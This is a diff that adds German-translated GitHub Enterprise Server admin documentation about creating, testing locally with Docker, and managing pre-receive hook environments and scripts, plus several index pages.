+Weitere Informationen zum Erstellen einer chroot-Umgebung findest du unter [chroot](https://wiki.debian.org/chroot) im *Debian-Wiki*, [BasicChroot](https://help.ubuntu.com/community/BasicChroot) im *Community Help Wiki* oder [Installing Alpine Linux in a chroot](http://wiki.alpinelinux.org/wiki/Installing_Alpine_Linux_in_a_chroot) (Installieren von Alpine Linux in einer chroot-Umgebung) im *Alpine Linux Wiki*.
+
+## Pre-Receive-Hook-Umgebung auf {% data variables.product.prodname_ghe_server %} hochladen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %}
+5. Klicke auf **Umgebungen verwalten**.
+![Verwalten von Umgebungen](/assets/images/enterprise/site-admin-settings/manage-pre-receive-environments.png)
+6. Klicke auf **Umgebung hinzufügen**.
+![Hinzufügen einer Umgebung](/assets/images/enterprise/site-admin-settings/add-pre-receive-environment.png)
+7. Gib den gewünschten Namen im Feld **Umgebungsname** ein.
+![Umgebungsname](/assets/images/enterprise/site-admin-settings/pre-receive-environment-name.png)
+8. Gib die URL der `*.tar.gz`-Datei ein, in der deine Umgebung enthalten ist.
+![Hochladen einer Umgebung über eine URL](/assets/images/enterprise/site-admin-settings/upload-environment-from-url.png)
+9. Klicke auf **Umgebung hinzufügen**.
+![Schaltfläche „Umgebung hinzufügen“](/assets/images/enterprise/site-admin-settings/add-environment-button.png)
+
+## Pre-Receive-Hook-Umgebung über die Verwaltungsshell hochladen
+1. Lade eine lesbare `*.tar.gz`-Datei, die deine Umgebung enthält, auf einen Webhost hoch, und kopiere die URL, oder übertrage die Datei über `scp` an die {% data variables.product.prodname_ghe_server %}-Appliance. Wenn du `scp` verwendest, musst du die `*.tar.gz`-Dateiberechtigungen möglicherweise anpassen, damit die Datei allgemein lesbar ist.
+1.  Stelle eine Verbindung zur Verwaltungsshell her.
+2.  Führe den Befehl `ghe-hook-env-create` aus, und gib den gewünschten Namen für die Umgebung als erstes Argument und den vollständigen lokalen Pfad oder die URL einer `*.tar.gz`-Datei, die deine Umgebung enthält, als zweites Argument ein.
+
+   ```shell
+   admin@ghe-host:~$ ghe-hook-env-create AlpineTestEnv /home/admin/alpine-3.3.tar.gz
+   > Pre-receive hook environment 'AlpineTestEnv' (2) has been created.
+   ```
diff --git a/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
new file mode 100644
index 0000000000..90a4866503
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md
@@ -0,0 +1,262 @@
+---
+title: Creating a pre-receive hook script
+intro: Use pre-receive hook scripts to create requirements for accepting or rejecting a push based on the contents.
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /enterprise/admin/developer-workflow/creating-a-pre-receive-hook-script
+  - /enterprise/admin/policies/creating-a-pre-receive-hook-script
+  - /admin/policies/creating-a-pre-receive-hook-script
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Pre-receive hooks
+shortTitle: Pre-receive hook scripts
+---
+You can see examples of pre-receive hooks for {% data variables.product.prodname_ghe_server %} in the [`github/platform-samples` repository](https://github.com/github/platform-samples/tree/master/pre-receive-hooks).
+
+## Writing a pre-receive hook script
+A pre-receive hook script executes in a pre-receive hook environment on {% data variables.location.product_location %}. When you create a pre-receive hook script, consider the available input, output, exit status, and environment variables.
+
+### Input (`stdin`)
+After a push occurs and before any refs are updated for the remote repository, the `git-receive-pack` process on {% data variables.location.product_location %} invokes the pre-receive hook script. Standard input for the script, `stdin`, is a string containing a line for each ref to update. Each line contains the old object name for the ref, the new object name for the ref, and the full name of the ref.
+
+```
+<old-value> SP <new-value> SP <ref-name> LF
+```
+
+This string represents the following arguments.
+
+| Argument | Description     |
+| :------------- | :------------- |
+| `<old-value>` | Old object name stored in the ref.<br> When you create a new ref, the value is 40 zeroes. |
+| `<new-value>` | New object name to be stored in the ref.<br> When you delete a ref, the value is 40 zeroes. |
+| `<ref-name>`  | The full name of the ref. |
+
+For more information about `git-receive-pack`, see "[git-receive-pack](https://git-scm.com/docs/git-receive-pack)" in the Git documentation. For more information about refs, see "[Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References)" in *Pro Git*.
+
+### Output (`stdout`)
+
+The standard output for the script, `stdout`, is passed back to the client. Any `echo` statements will be visible to the user on the command line or in the user interface.
+
+### Exit status
+
+The exit status of a pre-receive script determines if the push will be accepted.
+
+| Exit-status value | Action |
+| :- | :- |
+| 0 | The push will be accepted. |
+| non-zero | The push will be rejected. |
+
+### Environment variables
+
+In addition to the standard input for your pre-receive hook script, `stdin`, {% data variables.product.prodname_ghe_server %} makes the following variables available in the Bash environment for your script's execution. For more information about `stdin` for your pre-receive hook script, see "[Input (`stdin`)](#input-stdin)."
+
+Different environment variables are available to your pre-receive hook script depending on what triggers the script to run.
+
+- [Always available](#always-available)
+- [Available for pushes from the web interface or API](#available-for-pushes-from-the-web-interface-or-api)
+- [Available for pull request merges](#available-for-pull-request-merges)
+- [Available for pushes using SSH authentication](#available-for-pushes-using-ssh-authentication)
+
+#### Always available
+
+The following variables are always available in the pre-receive hook environment.
+
+| Variable | Description | Example value |
+| :- | :- | :- |
+|  <pre>$GIT_DIR</pre> | Path to the remote repository on the instance | /data/user/repositories/a/ab/<br>a1/b2/34/100001234/1234.git |
+|  <pre>$GIT_PUSH_OPTION_COUNT</pre> | The number of push options that were sent by the client with `--push-option`. For more information, see "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" in the Git documentation. | 1 |
+| <pre>$GIT\_PUSH\_OPTION\_N</pre> | Where _N_ is an integer starting at 0, this variable contains the push option string that was sent by the client. The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. For more information about push options, see "[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)" in the Git documentation. | abcd |{% ifversion ghes %}
+|  <pre>$GIT_USER_AGENT</pre> | User-agent string sent by the Git client that pushed the changes | git/2.0.0{% endif %}
+|  <pre>$GITHUB_REPO_NAME</pre> | Name of the repository being updated in _NAME_/_OWNER_ format | octo-org/hello-enterprise |
+|  <pre>$GITHUB_REPO_PUBLIC</pre> | Boolean representing whether the repository being updated is public | <ul><li>true: Repository's visibility is public</li><li>false: Repository's visibility is private or internal</li></ul>
+|  <pre>$GITHUB_USER_IP</pre> | IP address of client that initiated the push | 192.0.2.1 |
+|  <pre>$GITHUB_USER_LOGIN</pre> | Username for account that initiated the push | octocat |
+
+#### Available for pushes from the web interface or API
+
+The `$GITHUB_VIA` variable is available in the pre-receive hook environment when the ref update that triggers the hook occurs via either the web interface or the API for {% data variables.product.prodname_ghe_server %}. The value describes the action that updated the ref.
+
+| Value | Action | More information |
+| :- | :- | :- |
+| <pre>auto-merge deployment api</pre> | Automatic merge of the base branch via a deployment created with the API | "[Create a deployment](/rest/reference/deployments#create-a-deployment)" in the REST API documentation |
+| <pre>blob#save</pre> | Change to a file's contents in the web interface | "[Editing files](/repositories/working-with-files/managing-files/editing-files)" |
+| <pre>branch merge api</pre> | Merge of a branch via the API | "[Merge a branch](/rest/reference/branches#merge-a-branch)" in the REST API documentation |
+| <pre>branches page delete button</pre> | Deletion of a branch in the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" |
+| <pre>git refs create api</pre> | Creation of a ref via the API | "[Git database](/rest/reference/git#create-a-reference)" in the REST API documentation |
+| <pre>git refs delete api</pre> | Deletion of a ref via the API | "[Git database](/rest/reference/git#delete-a-reference)" in the REST API documentation |
+| <pre>git refs update api</pre> | Update of a ref via the API | "[Git database](/rest/reference/git#update-a-reference)" in the REST API documentation |
+| <pre>git repo contents api</pre> | Change to a file's contents via the API | "[Create or update file contents](/rest/reference/repos#create-or-update-file-contents)" in the REST API documentation |
+{%- ifversion ghes %}
+| `merge ` | Merge of a pull request using auto-merge | "[Automatically merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)" |
+{%- endif %}
+| <pre>merge base into head</pre> | Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" |
+| <pre>pull request branch delete button</pre> | Deletion of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" |
+| <pre>pull request branch undo button</pre> | Restoration of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" |
+| <pre>pull request merge api</pre> | Merge of a pull request via the API | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" in the REST API documentation |
+| <pre>pull request merge button</pre> | Merge of a pull request in the web interface | "[Merging a pull request](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)" |
+| <pre>pull request revert button</pre> | Revert of a pull request | "[Reverting a pull request](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)" |
+| <pre>releases delete button</pre> | Deletion of a release | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)" |
+| <pre>stafftools branch restore</pre> | Restoration of a branch from the site admin dashboard | "[Site admin dashboard](/admin/configuration/site-admin-dashboard#repositories)" |
+| <pre>tag create api</pre> | Creation of a tag via the API | "[Git database](/rest/reference/git#create-a-tag-object)" in the REST API documentation |
+| <pre>slumlord (#SHA)</pre> | Commit via Subversion | "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" |
+| <pre>web branch create</pre> | Creation of a branch via the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)" |
+
+#### Available for pull request merges
+
+The following variables are available in the pre-receive hook environment when the push that triggers the hook is a push due to the merge of a pull request.
+
+| Variable | Description | Example value |
+| :- | :- | :- |
+|  <pre>$GITHUB_PULL_REQUEST_AUTHOR_LOGIN</pre> | Username of account that authored the pull request | octocat |
+|  <pre>$GITHUB_PULL_REQUEST_HEAD</pre> | The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | <nobr>octocat:fix-bug</nobr> |
+|  <pre>$GITHUB_PULL_REQUEST_BASE</pre> | The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main |
+
+#### Available for pushes using SSH authentication
+
+| Variable | Description | Example value |
+| :- | :- | :- |
+|  <pre>$GITHUB_PUBLIC_KEY_FINGERPRINT</pre> | The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 |
+
+## Setting permissions and pushing a pre-receive hook to {% data variables.product.prodname_ghe_server %}
+
+A pre-receive hook script is contained in a repository on {% data variables.location.product_location %}. A site administrator must take into consideration the repository permissions and ensure that only the appropriate users have access.
+
+We recommend consolidating hooks to a single repository. If the consolidated hook repository is public, the `README.md` can be used to explain policy enforcements. Also, contributions can be accepted via pull requests. However, pre-receive hooks can only be added from the default branch. For a testing workflow, forks of the repository with configuration should be used.
+
+1. For Mac users, ensure the scripts have execute permissions:
+
+   ```shell
+   $ sudo chmod +x SCRIPT_FILE.sh
+   ```
+   For Windows users, ensure the scripts have execute permissions:
+
+   ```shell
+   git update-index --chmod=+x SCRIPT_FILE.sh
+   ```
+
+2. Commit and push to the designated repository for pre-receive hooks on {% data variables.location.product_location %}.
+
+   ```shell
+   $ git commit -m "YOUR COMMIT MESSAGE"
+   $ git push
+   ```
+
+3. [Create the pre-receive hook](/enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks) on the {% data variables.product.prodname_ghe_server %} instance.
+
+## Testing pre-receive scripts locally
+You can test a pre-receive hook script locally before you create or update it on {% data variables.location.product_location %}. One method is to create a local Docker environment to act as a remote repository that can execute the pre-receive hook.
+
+{% data reusables.linux.ensure-docker %}
+
+2. Create a file called `Dockerfile.dev` containing:
+
+   ```dockerfile
+   FROM gliderlabs/alpine:3.3
+   RUN \
+     apk add --no-cache git openssh bash && \
+     ssh-keygen -A && \
+     sed -i "s/#AuthorizedKeysFile/AuthorizedKeysFile/g" /etc/ssh/sshd_config && \
+     adduser git -D -G root -h /home/git -s /bin/bash && \
+     passwd -d git && \
+     su git -c "mkdir /home/git/.ssh && \
+     ssh-keygen -t ed25519 -f /home/git/.ssh/id_ed25519 -P '' && \
+     mv /home/git/.ssh/id_ed25519.pub /home/git/.ssh/authorized_keys && \
+     mkdir /home/git/test.git && \
+     git --bare init /home/git/test.git"
+
+   VOLUME ["/home/git/.ssh", "/home/git/test.git/hooks"]
+   WORKDIR /home/git
+
+   CMD ["/usr/sbin/sshd", "-D"]
+   ```
+
+3. Create a test pre-receive script called `always_reject.sh`. This example script will reject all pushes, which is useful for locking a repository:
+
+   ```
+   #!/usr/bin/env bash
+
+   echo "error: rejecting all pushes"
+   exit 1
+   ```
+
+4. Ensure the `always_reject.sh` scripts has execute permissions:
+
+   ```shell
+   $ chmod +x always_reject.sh
+   ```
+
+5. From the directory containing `Dockerfile.dev`, build an image:
+
+   ```shell
+   $ docker build -f Dockerfile.dev -t pre-receive.dev .
+   > Sending build context to Docker daemon 3.584 kB
+   > Step 1 : FROM gliderlabs/alpine:3.3
+   >  ---> 8944964f99f4
+   > Step 2 : RUN apk add --no-cache git openssh bash && ssh-keygen -A && sed -i "s/#AuthorizedKeysFile/AuthorizedKeysFile/g"  /etc/ssh/sshd_config && adduser git -D -G root -h /home/git -s /bin/bash && passwd -d git && su git -c "mkdir /home/git/.ssh && ssh-keygen -t ed25519 -f /home/git/.ssh/id_ed25519 -P ' && mv /home/git/.ssh/id_ed25519.pub /home/git/.ssh/authorized_keys && mkdir /home/git/test.git && git --bare init /home/git/test.git"
+   >  ---> Running in e9d79ab3b92c
+   > fetch http://alpine.gliderlabs.com/alpine/v3.3/main/x86_64/APKINDEX.tar.gz
+   > fetch http://alpine.gliderlabs.com/alpine/v3.3/community/x86_64/APKINDEX.tar.gz
+   ....truncated output....
+   > OK: 34 MiB in 26 packages
+   > ssh-keygen: generating new host keys: RSA DSA ECDSA ED25519
+   > Password for git changed by root
+   > Generating public/private ed25519 key pair.
+   > Your identification has been saved in /home/git/.ssh/id_ed25519.
+   > Your public key has been saved in /home/git/.ssh/id_ed25519.pub.
+   ....truncated output....
+   > Initialized empty Git repository in /home/git/test.git/
+   > Successfully built dd8610c24f82
+   ```
+
+6. Run a data container that contains a generated SSH key:
+
+   ```shell
+   $ docker run --name data pre-receive.dev /bin/true
+   ```
+
+7. Copy the test pre-receive hook `always_reject.sh` into the data container:
+
+   ```shell
+   $ docker cp always_reject.sh data:/home/git/test.git/hooks/pre-receive
+   ```
+
+8. Run an application container that runs `sshd` and executes the hook. Take note of the container id that is returned:
+
+   ```shell
+   $ docker run -d -p 52311:22 --volumes-from data pre-receive.dev
+   > 7f888bc700b8d23405dbcaf039e6c71d486793cad7d8ae4dd184f4a47000bc58
+   ```
+
+9. Copy the generated SSH key from the data container to the local machine:
+
+   ```shell
+   $ docker cp data:/home/git/.ssh/id_ed25519 .
+   ```
+
+10. Modify the remote of a test repository and push to the `test.git` repo within the Docker container. This example uses `git@github.com:octocat/Hello-World.git` but you can use any repository you want. This example assumes your local machine (127.0.0.1) is binding port 52311, but you can use a different IP address if docker is running on a remote machine.
+
+   ```shell
+   $ git clone git@github.com:octocat/Hello-World.git
+   $ cd Hello-World
+   $ git remote add test git@127.0.0.1:test.git
+   $ GIT_SSH_COMMAND="ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 52311 -i ../id_ed25519" git push -u test main
+   > Warning: Permanently added '[192.168.99.100]:52311' (ECDSA) to the list of known hosts.
+   > Counting objects: 7, done.
+   > Delta compression using up to 4 threads.
+   > Compressing objects: 100% (3/3), done.
+   > Writing objects: 100% (7/7), 700 bytes | 0 bytes/s, done.
+   > Total 7 (delta 0), reused 7 (delta 0)
+   > remote: error: rejecting all pushes
+   > To git@192.168.99.100:test.git
+   >  ! [remote rejected] main -> main (pre-receive hook declined)
+   > error: failed to push some refs to 'git@192.168.99.100:test.git'
+   ```
+
+   Notice that the push was rejected after executing the pre-receive hook and echoing the output from the script.
+
+## Further reading
+ - "[Customizing Git - An Example Git-Enforced Policy](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)" from the *Pro Git website*
diff --git a/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/index.md b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/index.md
new file mode 100644
index 0000000000..78cce83e22
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/index.md
@@ -0,0 +1,24 @@
+---
+title: Erzwingen einer Richtlinie mit Pre-Receive-Hooks
+intro: 'Mithilfe von Pre-Receive-Hooks kannst du Workflow-Standards in deiner Organisation erzwingen. Zum Verwenden von Pre-Receive-Hooks muss der Code einen vordefinierten Satz an Qualitätsprüfungen bestehen, bevor der Push in das Repository akzeptiert wird.'
+redirect_from:
+  - /enterprise/admin/developer-workflow/using-pre-receive-hooks-to-enforce-policy
+  - /enterprise/admin/policies/enforcing-policy-with-pre-receive-hooks
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /about-pre-receive-hooks
+  - /creating-a-pre-receive-hook-environment
+  - /creating-a-pre-receive-hook-script
+  - /managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
+shortTitle: Policy with pre-receive hooks
+ms.openlocfilehash: 3958e0a9d67793c4cadcb6898ce6049eccbd43af
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104776'
+---
+
diff --git a/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
new file mode 100644
index 0000000000..53395e37ba
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
@@ -0,0 +1,74 @@
+---
+title: Pre-Receive-Hooks auf der GitHub Enterprise Server-Appliance verwalten
+intro: 'Konfiguriere, wie Benutzer*innen Pre-Receive-Hooks in ihrer {% data variables.product.prodname_ghe_server %}-Appliance verwenden.'
+redirect_from:
+  - /enterprise/admin/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
+  - /enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance
+  - /enterprise/admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
+  - /admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Pre-receive hooks
+shortTitle: Manage pre-receive hooks
+ms.openlocfilehash: 0e57f86b9a15d5001d6ab0d9f20578690ab5361f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145102847'
+---
+## Pre-Receive-Hooks erstellen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %}
+4. Klicke **Pre-Receive-Hook hinzufügen**.
+![Pre-Receive-Hook hinzufügen](/assets/images/enterprise/site-admin-settings/add-pre-receive-hook.png)
+5. Gib in das Feld **Hook-Name** den Namen des Hooks ein, den du erstellen möchtest.
+![Pre-Receive-Hook benennen](/assets/images/enterprise/site-admin-settings/hook-name.png)
+6. Wähle aus dem Dropdownmenü **Umgebung** die Umgebung aus, in der der Hook ausgeführt werden soll.
+![Hook-Umgebung](/assets/images/enterprise/site-admin-settings/environment.png)
+7. Wähle im Dropdownmenü **Hook-Repository auswählen** unter **Skript** das Repository aus, in dem dein Pre-Receive-Hook-Skript enthalten ist. Wähle im Dropdownmenü **Datei auswählen** den Dateinamen des Pre-Receive-Hook-Skripts aus.
+![Hook-Skript](/assets/images/enterprise/site-admin-settings/hook-script.png)
+8. Wähle **Exit-Status zum Akzeptieren oder Ablehnen von Push-Vorgängen** verwenden aus, um dein Skript zu erzwingen. Wenn du diese Option deaktivierst, kannst du das Skript testen, wobei der Exit-Status-Wert ignoriert wird. In diesem Modus kann der Benutzer die Skriptausgabe an der Befehlszeile, nicht aber auf der Benutzeroberfläche anzeigen.
+![Exit-Status verwenden](/assets/images/enterprise/site-admin-settings/use-exit-status.png)
+9. Wähle **Diesen Pre-Receive-Hook standardmäßig auf allen Repositorys aktivieren** aus, wenn der Pre-Receive-Hook auf allen Repositorys ausgeführt werden soll.
+![Option zum Aktivieren des Hooks auf allen Repositorys](/assets/images/enterprise/site-admin-settings/enable-hook-all-repos.png)
+10. Wähle **Administratoren können diesen Hook aktivieren und deaktivieren** aus, damit Organisationsmitglieder mit Administrator- oder Inhaberberechtigungen diesen Pre-Receive-Hook aktivieren oder deaktivieren können.
+![Option zum Aktivieren oder Deaktivieren des Hooks durch Administratoren](/assets/images/enterprise/site-admin-settings/admins-enable-hook.png)
+
+## Pre-Receive-Hooks bearbeiten
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %}
+1. Klicke neben dem Pre-Receive-Hook, den du bearbeiten möchtest, auf {% octicon "pencil" aria-label="The edit icon" %}.
+![Pre-Receive bearbeiten](/assets/images/enterprise/site-admin-settings/edit-pre-receive-hook.png)
+
+## Pre-Receive-Hooks löschen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.hooks-tab %}
+2. Klicke neben dem Pre-Receive-Hook, den du löschen möchtest, auf {% octicon "x" aria-label="X symbol" %}.
+![Pre-Receive bearbeiten](/assets/images/enterprise/site-admin-settings/delete-pre-receive-hook.png)
+
+## Pre-Receive-Hooks für eine Organisation konfigurieren
+
+Ein Organisationsadministrator kann die Hook-Berechtigungen für eine Organisation nur konfigurieren, wenn der Website-Administrator die Option **Administratoren können diesen Hook aktivieren oder deaktivieren** ausgewählt hat, als er den Pre-Receive-Hook erstellt hat. Zum Konfigurieren von Pre-Receive-Hooks für ein Repository musst du ein Organisationsadministrator oder -inhaber sein.
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+4. Klicke auf der linken Randleiste auf **Hooks**.
+![Hooks-Randleiste](/assets/images/enterprise/orgs-and-teams/hooks-sidebar.png)
+5. Klicke neben dem Pre-Receive-Hook, den du konfigurieren möchtest, auf das Dropdownmenü **Hook-Berechtigungen**. Wähle aus, ob der Pre-Receive-Hook aktiviert oder deaktiviert werden soll, oder lege fest, dass er vom Repository-Administrator konfiguriert werden kann.
+![Hook-Berechtigungen](/assets/images/enterprise/orgs-and-teams/hook-permissions.png)
+
+## Pre-Receive-Hooks für ein Repository konfigurieren
+
+Ein Repository-Inhaber kann nur dann einen Hook konfigurieren, wenn der Website-Administrator die Option **Administratoren können diesen Hook aktivieren oder deaktivieren** ausgewählt hat, als er den Pre-Receive-Hook erstellt hat. In einer Organisation muss der Organisationsinhaber auch die Berechtigung **Konfigurierbarer** Hook ausgewählt haben. Zum Konfigurieren von Pre-Receive-Hooks für ein Repository musst du ein Repository-Inhaber sein.
+
+{% data reusables.profile.enterprise_access_profile %}
+2. Klicke auf **Repositorys** und wähle das Repository aus, für das du Pre-Receive-Hooks konfigurieren möchtest.
+![Repositorys](/assets/images/enterprise/repos/repositories.png) {% data reusables.repositories.sidebar-settings %}
+4. Klicke auf der linken Randleiste auf **Hooks & Dienste**.
+![Hooks und Dienste](/assets/images/enterprise/repos/hooks-services.png)
+5. Klicke neben dem Pre-Receive-Hook, den du konfigurieren möchtest, auf das Dropdownmenü **Hook-Berechtigungen**. Wähle aus, ob der Pre-Receive-Hook aktiviert oder deaktiviert werden soll.
+![Repository-Hook-Berechtigungen](/assets/images/enterprise/repos/repo-hook-permissions.png)
diff --git a/translations/de-DE/content/admin/policies/index.md b/translations/de-DE/content/admin/policies/index.md
new file mode 100644
index 0000000000..426b7eb263
--- /dev/null
+++ b/translations/de-DE/content/admin/policies/index.md
@@ -0,0 +1,24 @@
+---
+title: Festlegen von Richtlinien für dein Unternehmen
+intro: 'Du kannst in {% data variables.product.product_name %} Richtlinien festlegen, um das Risiko zu verringern und die Qualität zu erhöhen.'
+redirect_from:
+  - /enterprise/admin/developer-workflow
+  - /enterprise/admin/policies
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /enforcing-policies-for-your-enterprise
+  - /enforcing-policy-with-pre-receive-hooks
+shortTitle: Set policies
+ms.openlocfilehash: 6fae4d9a9aa9c137be114b51eb90d79eb16d71df
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108494'
+---
+
diff --git a/translations/de-DE/content/admin/release-notes.md b/translations/de-DE/content/admin/release-notes.md
new file mode 100644
index 0000000000..705972126e
--- /dev/null
+++ b/translations/de-DE/content/admin/release-notes.md
@@ -0,0 +1,19 @@
+---
+title: Versionshinweise
+layout: release-notes
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+  - Upgrades
+redirect_from:
+  - /admin/overview/github-ae-release-notes
+ms.openlocfilehash: 9467958cbc1812c9f7f3ba333f41dfad5bbae5c6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104775'
+---
+
diff --git a/translations/de-DE/content/admin/user-management/index.md b/translations/de-DE/content/admin/user-management/index.md
new file mode 100644
index 0000000000..03f8026c5d
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/index.md
@@ -0,0 +1,29 @@
+---
+title: 'Verwalten von Benutzern, Organisationen und Repositorys'
+shortTitle: 'Manage users, organizations, and repositories'
+intro: 'In diesem Leitfaden werden die Authentifizierungsmethoden beschrieben, über die sich Benutzer bei Ihrem Unternehmen anmelden können. Zudem wird darin beschrieben, wie Organisationen und Teams für den Zugriff auf und die Zusammenarbeit am Repository erstellt werden können. Letztlich finden sich darin auch vorgeschlagene bewährte Methoden für Benutzersicherheit.'
+redirect_from:
+  - /enterprise/admin/categories/user-management
+  - /enterprise/admin/developer-workflow/using-webhooks-for-continuous-integration
+  - /enterprise/admin/migrations
+  - /enterprise/admin/clustering
+  - /enterprise/admin/user-management
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /managing-users-in-your-enterprise
+  - /managing-organizations-in-your-enterprise
+  - /managing-repositories-in-your-enterprise
+  - /migrating-data-to-and-from-your-enterprise
+ms.openlocfilehash: 2ef2c71037a4aef92aa3b3946813993b06b44786
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104192'
+---
+
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
new file mode 100644
index 0000000000..ff943f4eab
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
@@ -0,0 +1,97 @@
+---
+title: Hinzufügen von Organisationen zu deinem Unternehmen
+intro: 'Du kannst Organisationen hinzufügen, die innerhalb deines Unternehmens verwaltet werden sollen, indem du eine neue Organisation erstellst, eine vorhandene Organisation einlädst oder eine Organisation von einem anderen Unternehmenskonto überträgst.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account
+  - /articles/adding-organizations-to-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/adding-organizations-to-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/adding-organizations-to-your-enterprise-account
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Administrator
+  - Enterprise
+  - Organizations
+shortTitle: Add organizations
+permissions: Enterprise owners can add organizations to an enterprise.
+ms.openlocfilehash: 7b5627eb89e7e5356716a9cd2a9dfe03fd455270
+ms.sourcegitcommit: e98b752895109965b32cb277610985da5799f8a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/01/2022
+ms.locfileid: '148127619'
+---
+## Informationen zum Hinzufügen von Organisationen zu deinem Unternehmenskonto
+
